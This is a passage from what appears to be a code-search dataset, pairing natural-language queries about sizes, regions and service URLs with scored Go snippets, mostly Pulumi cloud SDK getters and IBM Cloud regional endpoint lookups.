"d867a6f235dc57a4afe1cbb24ccd41dd", "score": "0.65971744", "text": "func (d *digest) Size() int { return Size }", "title": "" }, { "docid": "d867a6f235dc57a4afe1cbb24ccd41dd", "score": "0.65971744", "text": "func (d *digest) Size() int { return Size }", "title": "" }, { "docid": "ea51641d2fe3f219637efcadcae9c637", "score": "0.6592656", "text": "func (sm3 *sm3) Size() int { return sm3.size }", "title": "" }, { "docid": "24b1e079805ace2aceb0ac06aa83fdbb", "score": "0.6589688", "text": "func (a *Allocator) Size() uint64 {\n\treturn a.size\n}", "title": "" }, { "docid": "ab4dfe64ea7c4006101827b8fde46a4c", "score": "0.6585574", "text": "func Size(n uint64) uint64 {\n\treturn uint64(math.Floor(float64(n)/Byte)) + 1\n}", "title": "" }, { "docid": "a5f960c0b8bb44bf7d1cea7087be52dd", "score": "0.65841115", "text": "func (o *Object) Size() int64 {\n\treturn o.size // Object is likely PENDING\n}", "title": "" }, { "docid": "08f86c9030b4a3cafbe29324ad1a3c23", "score": "0.6576934", "text": "func BuiltinObjectSize(ptr *byte, theType int32) int32 {\n\treturn 5\n}", "title": "" }, { "docid": "de03a04aefb8a01646ecf40c62d48deb", "score": "0.657339", "text": "func (lb1 *leafBuffer1MB) Size() uint32 {\n\treturn uint32(unsafe.Sizeof(leafBuffer1MB{}))\n}", "title": "" }, { "docid": "01c546c9d35da46dffad07c37bd903bf", "score": "0.65713173", "text": "func (gdt *Dictionary) Size() int32 {\n\n\t/* go_godot_dictionary_size(API_STRUCT) ->godot_int */\n\n\tapi := CoreApi\n\trcv := (*C.godot_dictionary)(unsafe.Pointer(gdt))\n\n\tret := C.go_godot_dictionary_size(\n\t\tapi,\n\t\trcv,\n\t)\n\n\treturn *(*int32)(unsafe.Pointer(&ret))\n}", "title": "" }, { "docid": "5c43f5bcf2f51f846279382b43455818", "score": "0.65693516", "text": "func (h *MapUint8ToInt64) Size() int {\n\treturn h.size\n}", "title": "" }, { "docid": "2366f765ac8f65fbe56aff2d1f42776b", "score": "0.6565971", "text": "func (sz ObjectSize) totalSize() Size {\n\treturn sz.DataSize + sz.pointerSize()\n}", "title": "" }, { "docid": "d4b0514b90feb76e5d8488d6efe50db4", "score": "0.6561806", "text": "func (dict Dictionary) Size() int64 {\n\treturn dict.size\n}", "title": "" }, { "docid": "d940928fbdf89fc4e3262f85b42619e3", "score": "0.6559518", "text": "func (it *Variable) Size() (int64, bool) {\n\treturn int64(0), true\n}", "title": "" }, { "docid": "0db354b0cbfa8c512affdc002723df8c", "score": "0.6558678", "text": "func (h *MapUint8ToUint64) Size() int {\n\treturn h.size\n}", "title": "" }, { "docid": "f7d5b99a3528775bf48bc7ae23a523f6", "score": "0.6554833", "text": "func (u *Union) Size() Size {\n\treturn u.Fields[0].Size()\n}", "title": "" }, { "docid": "983345f5f58cf6dbe120699ae272bae7", "score": "0.65548015", "text": "func (*Root) Size() int64 { return 0 }", "title": "" } ]
bc248a9d5a97fcc1edc45c2386d3a1fb
URL of the region where the regional TargetHttpsProxy resides. This field is not applicable to global TargetHttpsProxies.
[ { "docid": "0036aacb140e29500253e0fba736ecdd", "score": "0.6531956", "text": "func (o LookupTargetHttpsProxyResultOutput) Region() pulumi.StringOutput {\n\treturn o.ApplyT(func(v LookupTargetHttpsProxyResult) string { return v.Region }).(pulumi.StringOutput)\n}", "title": "" } ]
[ { "docid": "a8431981f236e4f19d780febd8b00a47", "score": "0.5613388", "text": "func getRegionURL(m configmap.Mapper) (region, graphURL string) {\n\tregion, _ = m.Get(\"region\")\n\tgraphURL = graphAPIEndpoint[region] + \"/v1.0\"\n\treturn region, graphURL\n}", "title": "" }, { "docid": "85dd44f3e147e11544aaa0d8fea411b2", "score": "0.5316288", "text": "func GetServiceURLForRegion(region string) (string, error) {\n\treturn \"\", fmt.Errorf(\"service does not support regional URLs\")\n}", "title": "" }, { "docid": "85dd44f3e147e11544aaa0d8fea411b2", "score": "0.5316288", "text": "func GetServiceURLForRegion(region string) (string, error) {\n\treturn \"\", fmt.Errorf(\"service does not support regional URLs\")\n}", "title": "" }, { "docid": "85dd44f3e147e11544aaa0d8fea411b2", "score": "0.5316288", "text": "func GetServiceURLForRegion(region string) (string, error) {\n\treturn \"\", fmt.Errorf(\"service does not support regional URLs\")\n}", "title": "" }, { "docid": "85dd44f3e147e11544aaa0d8fea411b2", "score": "0.5316288", "text": "func GetServiceURLForRegion(region string) (string, error) {\n\treturn \"\", fmt.Errorf(\"service does not support regional URLs\")\n}", "title": "" }, { "docid": "85dd44f3e147e11544aaa0d8fea411b2", "score": "0.5316288", "text": "func GetServiceURLForRegion(region string) (string, error) {\n\treturn \"\", fmt.Errorf(\"service does not support regional URLs\")\n}", "title": "" }, { "docid": "85dd44f3e147e11544aaa0d8fea411b2", "score": "0.5316288", "text": "func GetServiceURLForRegion(region string) (string, error) {\n\treturn \"\", fmt.Errorf(\"service does not support regional URLs\")\n}", "title": "" }, { "docid": "85dd44f3e147e11544aaa0d8fea411b2", "score": "0.5316288", "text": "func GetServiceURLForRegion(region string) (string, error) {\n\treturn \"\", fmt.Errorf(\"service does not support regional URLs\")\n}", "title": "" }, { "docid": "85dd44f3e147e11544aaa0d8fea411b2", "score": "0.5316288", "text": "func GetServiceURLForRegion(region string) (string, error) {\n\treturn \"\", fmt.Errorf(\"service does not support regional URLs\")\n}", "title": "" }, { "docid": "85dd44f3e147e11544aaa0d8fea411b2", "score": "0.5316288", "text": "func GetServiceURLForRegion(region string) (string, error) {\n\treturn \"\", fmt.Errorf(\"service does not support regional URLs\")\n}", "title": "" }, { "docid": "85dd44f3e147e11544aaa0d8fea411b2", "score": "0.5316288", "text": "func GetServiceURLForRegion(region string) (string, error) {\n\treturn \"\", fmt.Errorf(\"service does not support regional URLs\")\n}", "title": "" }, { "docid": "3ed93d94b09f3c51dc5498901e6ff706", "score": "0.52787244", "text": "func (o LookupSslCertificateResultOutput) Region() pulumi.StringOutput {\n\treturn o.ApplyT(func(v LookupSslCertificateResult) string { return v.Region }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "2b8cb7592d1a3a1a467ff5ac2a56d318", "score": "0.52678895", "text": "func (o RRSetRoutingPolicyLoadBalancerTargetResponseOutput) Region() pulumi.StringOutput {\n\treturn o.ApplyT(func(v RRSetRoutingPolicyLoadBalancerTargetResponse) string { return v.Region }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "9efae2bda10ebec090618ffb453ebe02", "score": "0.52540565", "text": "func (o RuntimeAccessConfigResponseOutput) ProxyUri() pulumi.StringOutput {\n\treturn o.ApplyT(func(v RuntimeAccessConfigResponse) string { return v.ProxyUri }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "89c47d5fede1162871630ec7a04ea8d1", "score": "0.5244927", "text": "func (g *GitRepo) HTTPSURL() string {\n\treturn fmt.Sprintf(\"https://%s/%s.git\", g.Host(), g.RepoPath())\n}", "title": "" }, { "docid": "3c4334580a5d40f4577a5ffdc1ad3866", "score": "0.52376527", "text": "func (d *Driver) GetHttpsURL() string {\n\treturn strings.Replace(d.DockerApiURL, \"tcp://\", \"https://\", 1)\n}", "title": "" }, { "docid": "05b30211270fb98a0c75b0452c4b7984", "score": "0.52160835", "text": "func (r GithubRepository) GetHTTPSURL() string {\n\treturn fmt.Sprintf(httpsURLFmt, r.owner, r.name)\n}", "title": "" }, { "docid": "daf33bc046bd51eb7b43efc74e252d3a", "score": "0.520857", "text": "func (o RegionSslCertificateOutput) Region() pulumi.StringOutput {\n\treturn o.ApplyT(func(v *RegionSslCertificate) pulumi.StringOutput { return v.Region }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "32ea134c23e1f60d68511802419b48b7", "score": "0.52015156", "text": "func (s *ServiceClient) URL() string {\n\treturn s.generated().Endpoint()\n}", "title": "" }, { "docid": "3665a3630d5333b7de01393b7abd5506", "score": "0.5175535", "text": "func GetServiceURLForRegion(region string) (string, error) {\n\tvar endpoints = map[string]string{\n\t\t\"us-south\": \"https://api.us-south.devops.cloud.ibm.com/v2\", // The host URL for Tekton Pipeline Service in the us-south region.\n\t\t\"us-east\": \"https://api.us-east.devops.cloud.ibm.com/v2\", // The host URL for Tekton Pipeline Service in the us-east region.\n\t\t\"eu-de\": \"https://api.eu-de.devops.cloud.ibm.com/v2\", // The host URL for Tekton Pipeline Service in the eu-de region.\n\t\t\"eu-gb\": \"https://api.eu-gb.devops.cloud.ibm.com/v2\", // The host URL for Tekton Pipeline Service in the eu-gb region.\n\t\t\"jp-osa\": \"https://api.jp-osa.devops.cloud.ibm.com/v2\", // The host URL for Tekton Pipeline Service in the jp-osa region.\n\t\t\"jp-tok\": \"https://api.jp-tok.devops.cloud.ibm.com/v2\", // The host URL for Tekton Pipeline Service in the jp-tok region.\n\t\t\"au-syd\": \"https://api.au-syd.devops.cloud.ibm.com/v2\", // The host URL for Tekton Pipeline Service in the au-syd region.\n\t\t\"ca-tor\": \"https://api.ca-tor.devops.cloud.ibm.com/v2\", // The host URL for Tekton Pipeline Service in the ca-tor region.\n\t\t\"br-sao\": \"https://api.br-sao.devops.cloud.ibm.com/v2\", // The host URL for Tekton Pipeline Service in the br-sao region.\n\t}\n\n\tif url, ok := endpoints[region]; ok {\n\t\treturn url, nil\n\t}\n\treturn \"\", fmt.Errorf(\"service URL for region '%s' not found\", region)\n}", "title": "" }, { "docid": "f35ca56e9abccac532dfdd8f6ff114b5", "score": "0.5142888", "text": "func (r EditUniversalSSLSettingsRequest) GetRegionId() string {\n return \"\"\n}", "title": "" }, { "docid": "de88d34b9616f99692cec9d11506a885", "score": "0.51123345", "text": "func (c *Collector) HTTPSAddr() string {\n\treturn \"https://\" + c.httpLn.Addr().String()\n}", "title": "" }, { "docid": "3d8caad9200a5316e16f03abe78fe05f", "score": "0.5086063", "text": "func (o PacketMirroringMirroredResourceInfoSubnetInfoResponseOutput) Url() pulumi.StringOutput {\n\treturn o.ApplyT(func(v PacketMirroringMirroredResourceInfoSubnetInfoResponse) string { return v.Url }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "8177458b8fce8dd0bc2b7498300d8409", "score": "0.508265", "text": "func (o RegionNetworkFirewallPolicyRuleOutput) Region() pulumi.StringOutput {\n\treturn o.ApplyT(func(v *RegionNetworkFirewallPolicyRule) pulumi.StringOutput { return v.Region }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "0b557928829e752c21197d1576567745", "score": "0.50727427", "text": "func (e Environment) URL() string {\n\treturn e.apiURL\n}", "title": "" }, { "docid": "a63e5c944390b7b39ad12486833390a5", "score": "0.5059301", "text": "func (o DataSourceParametersServiceNowOutput) SiteBaseUrl() pulumi.StringOutput {\n\treturn o.ApplyT(func(v DataSourceParametersServiceNow) string { return v.SiteBaseUrl }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "92abd9dfc2b0b43e26cccfc2effa4fc9", "score": "0.50549436", "text": "func (p *RepoPackage) URL() string {\n\treturn urlJoin(p.Origin, p.Location.Href)\n}", "title": "" }, { "docid": "18e1daefb12806df4e2073bdee8303d3", "score": "0.5018423", "text": "func (r GetSslCertListRequest) GetRegionId() string {\n return \"\"\n}", "title": "" }, { "docid": "b2d486259827ca5605d2c5ff81b1858f", "score": "0.50068384", "text": "func (b *BlobClient) URL() string {\n\treturn b.client.endpoint\n}", "title": "" }, { "docid": "d2368d69fdde04db1003a8150e51656d", "score": "0.49989897", "text": "func (o LookupRegionTargetTcpProxyResultOutput) Region() pulumi.StringOutput {\n\treturn o.ApplyT(func(v LookupRegionTargetTcpProxyResult) string { return v.Region }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "1cefa69a161c8cdf190afcc598f1ac85", "score": "0.49950463", "text": "func (o NotifierMsteamsConfigOutput) ProxyUrl() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v NotifierMsteamsConfig) *string { return v.ProxyUrl }).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "3e8fd628bcc0d4c6858d3904f212f01a", "score": "0.49937046", "text": "func (o NotifierWebhookConfigOutput) ProxyUrl() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v NotifierWebhookConfig) *string { return v.ProxyUrl }).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "f672f5242ae62a3da45e8d4144b6c073", "score": "0.49876994", "text": "func (r DockerImageReference) RegistryURL() *url.URL {\n\treturn &url.URL{\n\t\tScheme: \"https\",\n\t\tHost: r.AsV2().Registry,\n\t}\n}", "title": "" }, { "docid": "214184e354863155cd0af1506343c417", "score": "0.49755234", "text": "func (o GlobalDnsProviderRoute53ConfigOutput) Region() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v GlobalDnsProviderRoute53Config) *string { return v.Region }).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "9fe6c89be97dd6d1a20150ed9e5fd234", "score": "0.49641392", "text": "func targetURL(fqdn string, IPAddress string, orgName string) (string, error) {\n\tpath := fqdn\n\tif path == \"\" {\n\t\tpath = IPAddress\n\t}\n\tpath = path + \"/organizations/\" + orgName + \"/\"\n\n\tbaseURL, err := url.Parse(path)\n\tif err != nil {\n\t\treturn \"\", errors.Wrap(err, err.Error())\n\t}\n\tbaseURL.Scheme = \"https\"\n\n\treturn baseURL.String(), nil\n}", "title": "" }, { "docid": "48f3c80b41586230c8329ca2a9677a48", "score": "0.49590817", "text": "func (o GlobalDnsProviderRoute53ConfigPtrOutput) Region() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v *GlobalDnsProviderRoute53Config) *string {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn v.Region\n\t}).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "334dda52890f81d507a072cae6c3d3a7", "score": "0.4955933", "text": "func (o RRSetRoutingPolicyLoadBalancerTargetOutput) Region() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v RRSetRoutingPolicyLoadBalancerTarget) *string { return v.Region }).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "96e90c83e2c93a715bcd8c219baa6064", "score": "0.49428457", "text": "func (migconfig *MigConfig) Url() string {\n\treturn gceurl.GenerateMigUrl(migconfig.Project, migconfig.Zone, migconfig.Name)\n}", "title": "" }, { "docid": "2fac2775d45884efc7f534b2b88c51e8", "score": "0.49206847", "text": "func (client *Client) setEndpoint4RegionalDomain(region Region, serviceCode, accessKeyId, accessKeySecret, securityToken string) {\n\tfor _, service := range RegionalDomainServices {\n\t\tif _, ok := UnitRegions[region]; ok && service == serviceCode {\n\t\t\tclient.endpoint = fmt.Sprintf(\"https://%s.%s.aliyuncs.com\", serviceCode, region)\n\t\t\treturn\n\t\t}\n\t}\n\tlocationClient := NewLocationClient(accessKeyId, accessKeySecret, securityToken)\n\tlocationClient.SetDebug(true)\n\tep := locationClient.DescribeOpenAPIEndpoint(region, serviceCode)\n\n\tif ep != \"\" {\n\t\tclient.endpoint = ep\n\t}\n}", "title": "" }, { "docid": "2ea27e3bad89fc489af5aaffba47bed6", "score": "0.48961347", "text": "func (cfg *Config) SiteURL() string {\n\treturn cfg.Protocol + \"://\" + cfg.Domain + \"/\"\n}", "title": "" }, { "docid": "b07291bbbbe435df932c3b841cef9a20", "score": "0.48860055", "text": "func (s ServiceURL) URL() url.URL {\n\treturn s.client.URL()\n}", "title": "" }, { "docid": "b07291bbbbe435df932c3b841cef9a20", "score": "0.48860055", "text": "func (s ServiceURL) URL() url.URL {\n\treturn s.client.URL()\n}", "title": "" }, { "docid": "d52e5bcd0b049c8c5750dbd6f196110e", "score": "0.48767993", "text": "func (b *LicenseMutator) URL(v string) *LicenseMutator {\n\tb.proxy.url = v\n\treturn b\n}", "title": "" }, { "docid": "a4f6c65d4e951b01ea858002ec3a7b1b", "score": "0.4863693", "text": "func (o BasisResponseOutput) ResourceUrl() pulumi.StringOutput {\n\treturn o.ApplyT(func(v BasisResponse) string { return v.ResourceUrl }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "d2969aa86de43500b8595e8a96f933f9", "score": "0.485911", "text": "func (o LookupTargetHttpsProxyResultOutput) UrlMap() pulumi.StringOutput {\n\treturn o.ApplyT(func(v LookupTargetHttpsProxyResult) string { return v.UrlMap }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "291da4c368b75e2b1dcf8c5d984e172b", "score": "0.48513058", "text": "func (c *Config) SiteUrl() string {\n\tif c.options.SiteUrl == \"\" {\n\t\treturn \"http://localhost:2345/\"\n\t}\n\n\treturn strings.TrimRight(c.options.SiteUrl, \"/\") + \"/\"\n}", "title": "" }, { "docid": "b2fb36691ef6a202d5a8d86ef3c32815", "score": "0.4838162", "text": "func (o TrafficTargetResponseOutput) Url() pulumi.StringOutput {\n\treturn o.ApplyT(func(v TrafficTargetResponse) string { return v.Url }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "40f0eaf9a961f04b97df0ba4dbdd9749", "score": "0.48276898", "text": "func (c *Config) HTTPSAddress() string {\n\tnetworkAddress := c.m.GetString(\"core.https_address\")\n\tif networkAddress != \"\" {\n\t\treturn util.CanonicalNetworkAddress(networkAddress, shared.HTTPSDefaultPort)\n\t}\n\n\treturn networkAddress\n}", "title": "" }, { "docid": "8e10969f3fda0529df2d4eca83d4d999", "score": "0.48206183", "text": "func (o NotifierSlackConfigOutput) ProxyUrl() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v NotifierSlackConfig) *string { return v.ProxyUrl }).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "35b74fc8f2b3cd3a89f83501b0222c09", "score": "0.48186073", "text": "func (r UpdateIndividualFirewallRuleRequest) GetRegionId() string {\n return \"\"\n}", "title": "" }, { "docid": "7503873146af26ef2299360e75ed9652", "score": "0.48148638", "text": "func (s *Server) URL() string {\n\treturn (&url.URL{\n\t\tScheme: \"rosrpc\",\n\t\tHost: (&net.TCPAddr{\n\t\t\tIP: s.nodeIP,\n\t\t\tPort: s.Port(),\n\t\t\tZone: s.nodeZone,\n\t\t}).String(),\n\t}).String()\n}", "title": "" }, { "docid": "d1d628336d734006cbf536bc94a98797", "score": "0.48105326", "text": "func (d *Directory) URL() string {\n\treturn d.fsc.client.getEndpoint(fileServiceName, d.buildPath(), url.Values{})\n}", "title": "" }, { "docid": "ae5898843a6648025364ff492ad7cac8", "score": "0.47900265", "text": "func (o NotifierMsteamsConfigPtrOutput) ProxyUrl() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v *NotifierMsteamsConfig) *string {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn v.ProxyUrl\n\t}).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "454e3a7652b3f3c19f6db0d09520a3f1", "score": "0.47820216", "text": "func (r DescribeReadWriteProxyAttributeRequest) GetRegionId() string {\n return r.RegionId\n}", "title": "" }, { "docid": "162d55b5335c6d8921854fef98c8ffb7", "score": "0.47742897", "text": "func (o HaVpnGatewayOutput) Region() pulumi.StringOutput {\n\treturn o.ApplyT(func(v *HaVpnGateway) pulumi.StringOutput { return v.Region }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "00269a037a658ee818794a06cc2d6f86", "score": "0.47645077", "text": "func (r DistrictListRequest) Url() string {\n\treturn \"v1/region/district/list\"\n}", "title": "" }, { "docid": "716af92613bf2be48d15dac699ebe3dc", "score": "0.4764453", "text": "func (pb *Client) URL() string {\n\treturn pb.generated().Endpoint()\n}", "title": "" }, { "docid": "f6abfcc6f3b581475e03ac1cd79b7dd8", "score": "0.47622943", "text": "func GetServiceURLForRegion(region string) (string, error) {\n\tvar endpoints = map[string]string{\n\t\t\"us-south\": \"https://us-south.atracker.cloud.ibm.com\", // The server for IBM Cloud Activity Tracker Service in the us-south region.\n\t\t\"private.us-south\": \"https://private.us-south.atracker.cloud.ibm.com\", // The server for IBM Cloud Activity Tracker Service in the us-south region.\n\t\t\"us-east\": \"https://us-east.atracker.cloud.ibm.com\", // The server for IBM Cloud Activity Tracker Service in the us-east region.\n\t\t\"private.us-east\": \"https://private.us-east.atracker.cloud.ibm.com\", // The server for IBM Cloud Activity Tracker Service in the us-east region.\n\t\t\"eu-de\": \"https://eu-de.atracker.cloud.ibm.com\", // The server for IBM Cloud Activity Tracker Service in the eu-de region.\n\t\t\"private.eu-de\": \"https://private.eu-de.atracker.cloud.ibm.com\", // The server for IBM Cloud Activity Tracker Service in the eu-de region.\n\t\t\"eu-gb\": \"https://eu-gb.atracker.cloud.ibm.com\", // The server for IBM Cloud Activity Tracker Service in the eu-gb region.\n\t\t\"private.eu-gb\": \"https://private.eu-gb.atracker.cloud.ibm.com\", // The server for IBM Cloud Activity Tracker Service in the eu-gb region.\n\t\t\"au-syd\": \"https://au-syd.atracker.cloud.ibm.com\", // The server for IBM Cloud Activity Tracker Service in the au-syd region.\n\t\t\"private.au-syd\": \"https://private.au-syd.atracker.cloud.ibm.com\", // The server for IBM Cloud Activity Tracker Service in the au-syd region.\n\t\t\"ca-tor\": \"https://us-east.atracker.cloud.ibm.com\", // The server for IBM Cloud Activity Tracker Service for ca-tor points to the us-east region.\n\t\t\"private.ca-tor\": \"https://private.us-east.atracker.cloud.ibm.com\", // The server for IBM Cloud Activity Tracker Service for ca-tor points to the us-east region.\n\t\t\"br-sao\": \"https://us-south.atracker.cloud.ibm.com\", // The server for IBM Cloud Activity Tracker Service for br-sao points to the us-south region.\n\t\t\"private.br-sao\": \"https://private.us-south.atracker.cloud.ibm.com\", // The server for IBM Cloud Activity Tracker Service for br-sao points to the us-south region.\n\t\t\"eu-fr2\": \"https://eu-de.atracker.cloud.ibm.com\", // The server for IBM Cloud Activity Tracker Service for eu-fr2 points to the eu-de region.\n\t\t\"private.eu-fr2\": \"https://private.eu-de.atracker.cloud.ibm.com\", // The server for IBM Cloud Activity Tracker Service for eu-fr2 points to the eu-de region.\n\t\t\"jp-tok\": \"https://eu-de.atracker.cloud.ibm.com\", // The server for IBM Cloud Activity Tracker Service for jp-tok points to the eu-de region.\n\t\t\"private.jp-tok\": \"https://private.eu-de.atracker.cloud.ibm.com\", // The server for IBM Cloud Activity Tracker Service for jp-tok points to the eu-de region.\n\t\t\"jp-osa\": \"https://eu-de.atracker.cloud.ibm.com\", // The server for IBM Cloud Activity Tracker Service for jp-osa points to the eu-de region.\n\t\t\"private.jp-osa\": \"https://private.eu-de.atracker.cloud.ibm.com\", // The server for IBM Cloud Activity Tracker Service for jp-osa points to the eu-de region.\n\t\t\"in-che\": \"https://eu-de.atracker.cloud.ibm.com\", // The server for IBM Cloud Activity Tracker Service for in-che points to the eu-de region.\n\t\t\"private.in-che\": \"https://private.eu-de.atracker.cloud.ibm.com\", // The server for IBM Cloud Activity Tracker Service for in-che points to the eu-de region.\n\t}\n\n\tif url, ok := endpoints[region]; ok {\n\t\treturn url, nil\n\t}\n\treturn \"\", fmt.Errorf(\"service URL for region '%s' not found\", region)\n}", "title": "" }, { "docid": "c38c0a863e3d47947fd6ef8ea3832375", "score": "0.4756736", "text": "func (r *Remote) Url() string {\n\treturn r.url\n}", "title": "" }, { "docid": "68e2b9dec7bc39ea22c71825c4f402cb", "score": "0.47563794", "text": "func (o LookupNetworkEdgeSecurityServiceResultOutput) Region() pulumi.StringOutput {\n\treturn o.ApplyT(func(v LookupNetworkEdgeSecurityServiceResult) string { return v.Region }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "9d760971f78792dff8f0788acc60dfb8", "score": "0.47527242", "text": "func (c ContainerClient) URL() string {\n\treturn c.client.con.u\n}", "title": "" }, { "docid": "6281552c308f9a89e577908fd728bc7b", "score": "0.47344655", "text": "func (o PacketMirroringMirroredResourceInfoSubnetInfoOutput) Url() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v PacketMirroringMirroredResourceInfoSubnetInfo) *string { return v.Url }).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "3938db09e5db56649c361f908e463bb1", "score": "0.47207773", "text": "func (srv *Server) URL() string {\n\treturn srv.url\n}", "title": "" }, { "docid": "2801d03188c8f5365854f5b258e53e94", "score": "0.4719652", "text": "func (o ProjectSecondarySourceBuildStatusConfigOutput) TargetUrl() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v ProjectSecondarySourceBuildStatusConfig) *string { return v.TargetUrl }).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "6670b0155b80ec92a6356306ba25a963", "score": "0.47181", "text": "func (o FirewallPolicyOutput) Region() pulumi.StringOutput {\n\treturn o.ApplyT(func(v *FirewallPolicy) pulumi.StringOutput { return v.Region }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "57beaaffa529da04180967e87013c4c3", "score": "0.47179326", "text": "func (o NotifierDingtalkConfigOutput) ProxyUrl() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v NotifierDingtalkConfig) *string { return v.ProxyUrl }).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "e4c06dad31e203c105cdb22389bb508f", "score": "0.4708986", "text": "func (o GetFunctionSourceRepositoryOutput) Url() pulumi.StringOutput {\n\treturn o.ApplyT(func(v GetFunctionSourceRepository) string { return v.Url }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "39a1fabd0b8395ddd45b07a8e6a23d84", "score": "0.470312", "text": "func (client *HtmlToImageClient) SetHttpsProxy(httpsProxy string) *HtmlToImageClient {\n client.fields[\"https_proxy\"] = httpsProxy\n return client\n}", "title": "" }, { "docid": "519a82354dc945c3a2137f667180ad1e", "score": "0.46968272", "text": "func (o NotifierWebhookConfigPtrOutput) ProxyUrl() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v *NotifierWebhookConfig) *string {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn v.ProxyUrl\n\t}).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "7f8a7c16a6e863e4cc4d1d6b4f6f8579", "score": "0.46913043", "text": "func (o Operation) URL() string {\n\treturn o.svc.Info().URL + o.Path\n}", "title": "" }, { "docid": "efbfe3193705d23070c47fa176ba0d73", "score": "0.46907255", "text": "func (client *Client) EndPoint() string {\n\treturn \"https://\" + client.Host + client.Path\n}", "title": "" }, { "docid": "01771cfa3238defe2ec77087d42b92da", "score": "0.46855447", "text": "func (o DataSourceParametersServiceNowPtrOutput) SiteBaseUrl() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v *DataSourceParametersServiceNow) *string {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn &v.SiteBaseUrl\n\t}).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "f1950bf93dd2f670c86c1648a07c8e84", "score": "0.4669942", "text": "func (d *StaticSiteDescriber) URI(envName string) (URI, error) {\n\twkldDescr, err := d.initWkldStackDescriber(envName)\n\tif err != nil {\n\t\treturn URI{}, err\n\t}\n\toutputs, err := wkldDescr.Outputs()\n\tif err != nil {\n\t\treturn URI{}, fmt.Errorf(\"get stack output for service %q: %w\", d.svc, err)\n\t}\n\turi := accessURI{\n\t\tHTTPS: true,\n\t\tDNSNames: []string{outputs[staticSiteOutputCFDomainName]},\n\t}\n\tif outputs[staticSiteOutputCFAltDomainName] != \"\" {\n\t\turi.DNSNames = append(uri.DNSNames, outputs[staticSiteOutputCFAltDomainName])\n\t}\n\treturn URI{\n\t\tURI: english.OxfordWordSeries(uri.strings(), \"or\"),\n\t\tAccessType: URIAccessTypeInternet,\n\t}, nil\n}", "title": "" }, { "docid": "0bde90082e8977933ce10faa3c4b271c", "score": "0.46692356", "text": "func (a *awsApp) GetEndpointURL() string {\n\tif a.localALPNProxy != nil {\n\t\treturn \"https://\" + a.localALPNProxy.GetAddr()\n\t}\n\treturn \"\"\n}", "title": "" }, { "docid": "d82c158729e0b37675afe48789220c00", "score": "0.46678376", "text": "func (o DataSourceParametersJiraOutput) SiteBaseUrl() pulumi.StringOutput {\n\treturn o.ApplyT(func(v DataSourceParametersJira) string { return v.SiteBaseUrl }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "46ce561b702db1991f6607b9467ef08c", "score": "0.46674147", "text": "func (*ReverseProxyLocations) GetPath() string { return \"/api/objects/reverse_proxy/location/\" }", "title": "" }, { "docid": "9192bddd6ab8ccb9d14c08c548bec4f3", "score": "0.4662777", "text": "func URL(ctx context.Context) (string, error) {\n\treturn api.GatewayURL(ctx)\n}", "title": "" }, { "docid": "8b5ef4351908b9a1e7f3fd80fa2c01ac", "score": "0.46569622", "text": "func (o FunctionSourceRepositoryOutput) Url() pulumi.StringOutput {\n\treturn o.ApplyT(func(v FunctionSourceRepository) string { return v.Url }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "ac8199c22dfa49944112d90002ae7a35", "score": "0.46547204", "text": "func (o VpnTunnelInfoResponseOutput) Region() pulumi.StringOutput {\n\treturn o.ApplyT(func(v VpnTunnelInfoResponse) string { return v.Region }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "ac8199c22dfa49944112d90002ae7a35", "score": "0.46547204", "text": "func (o VpnTunnelInfoResponseOutput) Region() pulumi.StringOutput {\n\treturn o.ApplyT(func(v VpnTunnelInfoResponse) string { return v.Region }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "9aeffd9c20403e470b2231e9f986bc46", "score": "0.4648935", "text": "func (o MachineConfigV2Amazonec2ConfigOutput) HttpEndpoint() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v MachineConfigV2Amazonec2Config) *string { return v.HttpEndpoint }).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "98fe1fa8cb4825a4a8717fe66515383a", "score": "0.46464363", "text": "func (c *Config) URL() string {\n\turl := cast.ToString(c.store.Get(configKeyURL))\n\treturn strings.TrimRight(url, 